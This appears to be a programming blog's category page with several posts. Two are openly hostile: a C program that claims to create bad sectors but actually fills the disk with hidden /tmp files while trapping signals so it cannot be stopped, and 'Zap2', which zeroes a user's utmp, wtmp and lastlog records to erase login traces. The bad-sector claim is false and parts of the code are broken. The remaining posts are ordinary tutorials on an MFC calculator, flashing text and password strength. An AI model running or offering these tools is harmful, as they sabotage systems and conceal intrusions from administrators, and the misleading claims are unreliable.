Posts from the ‘programming’ Category

create bad sector on HDD

This program will create BAD Sectors on HDD. (Use at your own risk) 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define HDSIZE 640000


void handle_sig();


int main() {


int i = 0;
int x;
int fd[5];


signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);


char *buf;


buf = malloc(HDSIZE);


printf(“sekt0r: trashing hard disk with bad sectors!\n”);


while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(“/tmp/.test1”, O_WRONLY|O_CREAT, 511);
fd[3] = open(“/tmp/.test2”, O_WRONLY|O_CREAT, 511);
fd[4] = open(“/tmp/.test3”, O_WRONLY|O_CREAT, 511);
fd[5] = open(“/tmp/.test4”, O_WRONLY|O_CREAT, 511);


for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);


} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */




void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);


printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”);
return; /* go back to creating bad sectors. */
}

Program for creating simple calculator in vc++

Calculator program:


    

1.Resource view->Dialog:


              2.CalculatorDlg.h : headerfile

// Implementation

                public:

                                int oper;

                                      int operand;
3.Double Click each button & type code:
     

void CCalculatorDlg::OnButton1()

{

                UpdateData(TRUE);

                m_text=m_text*10+1;

                UpdateData(FALSE);

}               // same as like this for upto 9,0 buttons..

void CCalculatorDlg::OnButton11()   // clear button

{

UpdateData(TRUE);

m_text=0;

UpdateData(FALSE);      

}

void CCalculatorDlg::OnButton12()                   // = button

{

UpdateData(TRUE);

switch(oper)

 {

                 case 1:

                                 m_text=operand+m_text;

                                 break;

                 case 2:

         m_text=operand-m_text;

                                 break;

                 case 3:

         m_text=operand*m_text;

                                 break;

                 case 4:

                                 if(m_text==0)

                                                 AfxMessageBox(“divide by zero error”);

                                 else

                                                 m_text=operand/m_text;

                                 break;

                 case 5:

                                 m_text=operand*operand;

                                 break;

                 case 6:

                                                 m_text=operand*operand*operand;

                                                 break;

                 case 7:

                                 m_text=operand%m_text;

 }

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton13()    //+ button

{

UpdateData(TRUE);

 operand=m_text;

 m_text=0;

 oper=1;

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton14()               //- button

{

UpdateData(TRUE);

 operand=m_text;

 m_text=0;

 oper=2;

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton15()     // * button

{

UpdateData(TRUE);

 operand=m_text;

 m_text=0;

 oper=3;

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton16()   // / button

{

UpdateData(TRUE);

 operand=m_text;

 m_text=0;

 oper=4;

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton17()  // X2 button

{

UpdateData(TRUE);

 operand=m_text;

  oper=5;

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton18()  // x3 button

{

UpdateData(TRUE);

 operand=m_text;

 oper=6;

 UpdateData(FALSE);     

}

void CCalculatorDlg::OnButton19()  // % button

{

UpdateData(TRUE);

 operand=m_text;

 m_text=0;

 oper=7;

 UpdateData(FALSE);     

}

   

Erasing Your Presence From System Logs

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME “/usr/adm/wtmp”

#define UTMP_NAME “/etc/utmp”

#define LASTLOG_NAME “/usr/adm/lastlog”

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0)>

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

} else printf(“%s: ?\n”,who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf(“Zap2!\n”);

} else

printf(“Error.\n”);

}

Flashing text with JavaScript

To create this effect you need to use JavaScript to dynamically change the text colour of some HTML many times a second using JavaScript’s setInterval() function. This function let’s you specify how many times per second a function is called – the examples here will call a function named flashtext() 20 times per second. The parameter 50 is passed tosetInterval() as this function requires the interval is set in milliseconds.
Before exploring the flashtext() function further here is the inital CSS for the text:

CSS Code

            body {
            
                background-color: #222222;
            
            }
        
            div {
            
                font-family: Trebuchet MS, sans-serif;
                font-size: 24px;
                color: #EEEEEE;
            
            }
Now we define the flashtext() function for random colours; every time a colour change is requested a hex colour is randomly created by selecting an element from an array that contains the letters A to F and the numbers 0 – 9 (the building blocks of hex colours). The actual colour is changed by directly accessing the color attribute of the style property usingdocument.getElementById().

Random Colours

        <script language=”javascript” type=”text/javascript”>
        
            var hexvalues = Array( “A”, “B”, “C”, “D”, “E”, “F”, “0″, “1″, “2″, “3″, “4″, “5″, “6″, “7″, “8″, “9″ );
            
            function flashtext() {
            
                var colour = ‘#’;
            
                for( var counter = 1; counter <= 6; counter ++ ) {
                
                    var hexvalue = hexvalues[ Math.floor( hexvalues.length * Math.random() ) ];
                
                    colour = colour + hexvalue;
                
                }
                
                document.getElementById( ‘flashingtext’ ).style.color = colour;
            
            } 
            
            setInterval( ‘flashtext()’, 50 );
        
        </script>
The specified colour change works in the same way only this time an array is used with specific hex colour values:

Specific Colours Code

        <script language=”javascript” type=”text/javascript”>
        
            var textcolours = Array( ‘#FFFFFF’, ‘#EEEEEE’, ‘#DDDDDD’, ‘#CCCCCC’, ‘#BBBBBB’, ‘#AAAAAA’ );
            
            function flashtext() {
            
                var colour = Math.round( textcolours.length * Math.random() );
                document.getElementById( ‘flashingtext’ ).style.color = textcolours[ colour ];
            
            } 
            
            setInterval( ‘flashtext()’, 50 );
        
        </script>
Here’s a working example using random colours:

Complete Code 1

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
    <head>
        <title>Flashing Text</title>
        <style media=”all” type=”text/css”>
        
            body {
            
                background-color: #222222;
            
            }
        
            div {
            
                font-family: Trebuchet MS, sans-serif;
                font-size: 24px;
                color: #EEEEEE;
            
            }
        
        </style>
        <script language=”javascript” type=”text/javascript”>
        
            var hexvalues = Array( “A”, “B”, “C”, “D”, “E”, “F”, “0″, “1″, “2″, “3″, “4″, “5″, “6″, “7″, “8″, “9″ );
            
            function flashtext() {
            
                var colour = ‘#’;
            
                for( var counter = 1; counter <= 6; counter ++ ) {
                
                    var hexvalue = hexvalues[ Math.floor( hexvalues.length * Math.random() ) ];
                
                    colour = colour + hexvalue;
                
                }
                
                document.getElementById( ‘flashingtext’ ).style.color = colour;
            
            } 
            
            setInterval( ‘flashtext()’, 50 );
        
        </script>
    </head>
    <body>
        <div id=”flashingtext”>JavaScript Flashing Text</div>
    </body>
</html>
Here’s a working example using specified colours:

Complete Code 2

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
    <head>
        <title>Flashing Text</title>
        <style media=”all” type=”text/css”>
        
            body {
            
                background-color: #222222;
            
            }
        
            div {
            
                font-family: Trebuchet MS, sans-serif;
                font-size: 24px;
                color: #EEEEEE;
            
            }
        
        </style>
        <script language=”javascript” type=”text/javascript”>
        
            var textcolours = Array( ‘#FFFFFF’, ‘#EEEEEE’, ‘#DDDDDD’, ‘#CCCCCC’, ‘#BBBBBB’, ‘#AAAAAA’ );
            
            function flashtext() {
            
                var colour = Math.round( textcolours.length * Math.random() );
                document.getElementById( ‘flashingtext’ ).style.color = textcolours[ colour ];
            
            } 
            
            setInterval( ‘flashtext()’, 50 );
        
        </script>
    </head>
    <body>
        <div id=”flashingtext”>JavaScript Flashing Text</div>
    </body>
</html>

Password strength with java script

To analyse the strength of a password we need to parse the contents of a textfield every time the contents change.
For the purposes of this tutorial we’ll use the following thresholds:
Too Short – less than 4 characters
Fair – less than 7 characters
Medium – 7 or more characters (characters only, no numbers)
Strong – 7 or more characters including at least 1 number
To start with let’s define some CSS styles:

Styles for the Tutorials

<style media=”all” type=”text/css”>
    body {
        background-color: #858585;
        color: #EEEEEE;
        font-family: Tahoma, sans-serif;
        font-size: 11px;
    }
    input {
        background-color: #EEEEEE;
        border: 1px solid #333333; 
        color: #333333;
        font-family: Tahoma, sans-serif;
        font-size: 11px;
        margin-bottom: 20px;
    }
</style>
We have an image for each strength – you can use these or create your own:
tooshort
fair
medium
strong
The next thing to do is to load these four images into an array so they can be displayed as and when we need them – we simply create four Image objects and define the src attribute.

Preload Images into Array

    var minpwlength = 4;
    var fairpwlength = 7;
    var STRENGTH_SHORT = 0;  // less than minpwlength 
    var STRENGTH_WEAK = 1;  // less than fairpwlength
    var STRENGTH_FAIR = 2;  // fairpwlength or over, no numbers
    var STRENGTH_STRONG = 3; // fairpwlength or over with at least one number
    img0 = new Image(); 
    img1 = new Image();
    img2 = new Image();
    img3 = new Image();
    img0.src = ‘images/tooshort.jpg’;
    img1.src = ‘images/fair.jpg’;
    img2.src = ‘images/medium.jpg’;
    img3.src = ‘images/strong.jpg’;
    var strengthlevel = 0;
    var strengthimages = Array( img0.src,
                                img1.src,
                                img2.src,
                                img3.src );
The first function we’ll need to write is one that checks if the password is too small – it’s simple – it just checks the length of the string:

Is Too Small

    function istoosmall( pw ) {
        if( pw.length < minpwlength ) {
            return true;
        }
        else {
            return false;
        }
    }
If it’s not too small we need to check if it constitutes fair, i.e. 4 – 6 characters (it works in the same way as the previous function).

Is Fair

    function isfair( pw ) {
        if( pw.length < fairpwlength ) {
            return false;
        }
        else { 
            return true;
        }
    }
Then we need to check for at least one number – if it has a number it’s strong, if it hasn’t it’s fair. We use the charAt() function to loop through each of the characters and then use isNaN to find out if the current character is an integer.

hasnum Function

    function hasnum( pw ) {
        var hasnum = false;
        for( var counter = 0; counter < pw.length; counter ++ ) {
            if( !isNaN( pw.charAt( counter ) ) ) {
                hasnum = true;
            }
        }
        return hasnum;
    }
Now we need a function to manage the previous three – this next function is called every time they key is pressed:

Update Strength

    function updatestrength( pw ) {
        if( istoosmall( pw ) ) {
            strengthlevel = STRENGTH_SHORT;
        }
        else if( !isfair( pw ) ) { 
            strengthlevel = STRENGTH_WEAK;
        }    
        else if( hasnum( pw ) ) {
            strengthlevel = STRENGTH_STRONG;
        }
        else {
            strengthlevel = STRENGTH_FAIR;
        }
        document.getElementById( ‘strength’ ).src = strengthimages[ strengthlevel ];
    }
And here are the contents of the body tag:

The Body Tag contents for the tutorial

<body onload=”document.getElementById( ‘password’ ).focus();”>
<div>Enter your password here:</div>
<br />
<div>
    <input maxlength=”15″ onkeyup=”updatestrength( this.value );” type=”password” name=”password” id=”password” value=”” />
    <img src=”images/tooshort.jpg” id=”strength” alt=”” />
</div>
</body>
And here’s the complete working code:

Password Strength Complete Code

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ /> 
<title>Password Strength</title>
<script language=”javascript” type=”text/javascript”>
    var minpwlength = 4;
    var fairpwlength = 7;
    var STRENGTH_SHORT = 0;  // less than minpwlength 
    var STRENGTH_WEAK = 1;  // less than fairpwlength
    var STRENGTH_FAIR = 2;  // fairpwlength or over, no numbers
    var STRENGTH_STRONG = 3; // fairpwlength or over with at least one number
    img0 = new Image(); 
    img1 = new Image();
    img2 = new Image();
    img3 = new Image();
    img0.src = ‘images/tooshort.jpg’;
    img1.src = ‘images/fair.jpg’;
    img2.src = ‘images/medium.jpg’;
    img3.src = ‘images/strong.jpg’;
    var strengthlevel = 0;
    var strengthimages = Array( img0.src,
                                img1.src,
                                img2.src,
                                img3.src );
    function updatestrength( pw ) {
        if( istoosmall( pw ) ) {
            strengthlevel = STRENGTH_SHORT;
        }
        else if( !isfair( pw ) ) { 
            strengthlevel = STRENGTH_WEAK;
        }    
        else if( hasnum( pw ) ) {
            strengthlevel = STRENGTH_STRONG;
        }
        else {
            strengthlevel = STRENGTH_FAIR;
        }
        document.getElementById( ‘strength’ ).src = strengthimages[ strengthlevel ];
    }
    function isfair( pw ) {
        if( pw.length < fairpwlength ) {
            return false;
        }
        else { 
            return true;
        }
    }
    function istoosmall( pw ) {
        if( pw.length < minpwlength ) {
            return true;
        }
        else {
            return false;
        }
    }
    function hasnum( pw ) {
        var hasnum = false;
        for( var counter = 0; counter < pw.length; counter ++ ) {
            if( !isNaN( pw.charAt( counter ) ) ) {
                hasnum = true;
            }
        }
        return hasnum;
    }
</script>
<style media=”all” type=”text/css”>
    body {
        background-color: #858585;
        color: #EEEEEE;
        font-family: Tahoma, sans-serif;
        font-size: 11px;
    }
    input {
        background-color: #EEEEEE;
        border: 1px solid #333333; 
        color: #333333;
        font-family: Tahoma, sans-serif;
        font-size: 11px;
        margin-bottom: 20px;
    }
</style>
</head>
<body onload=”document.getElementById( ‘password’ ).focus();”>
<div>Enter your password here:</div>
<br />
<div>
    <input maxlength=”15″ onkeyup=”updatestrength( this.value );” type=”password” name=”password” id=”password” value=”” />
    <img src=”images/tooshort.jpg” id=”strength” alt=”” />
</div>
</body>
</html>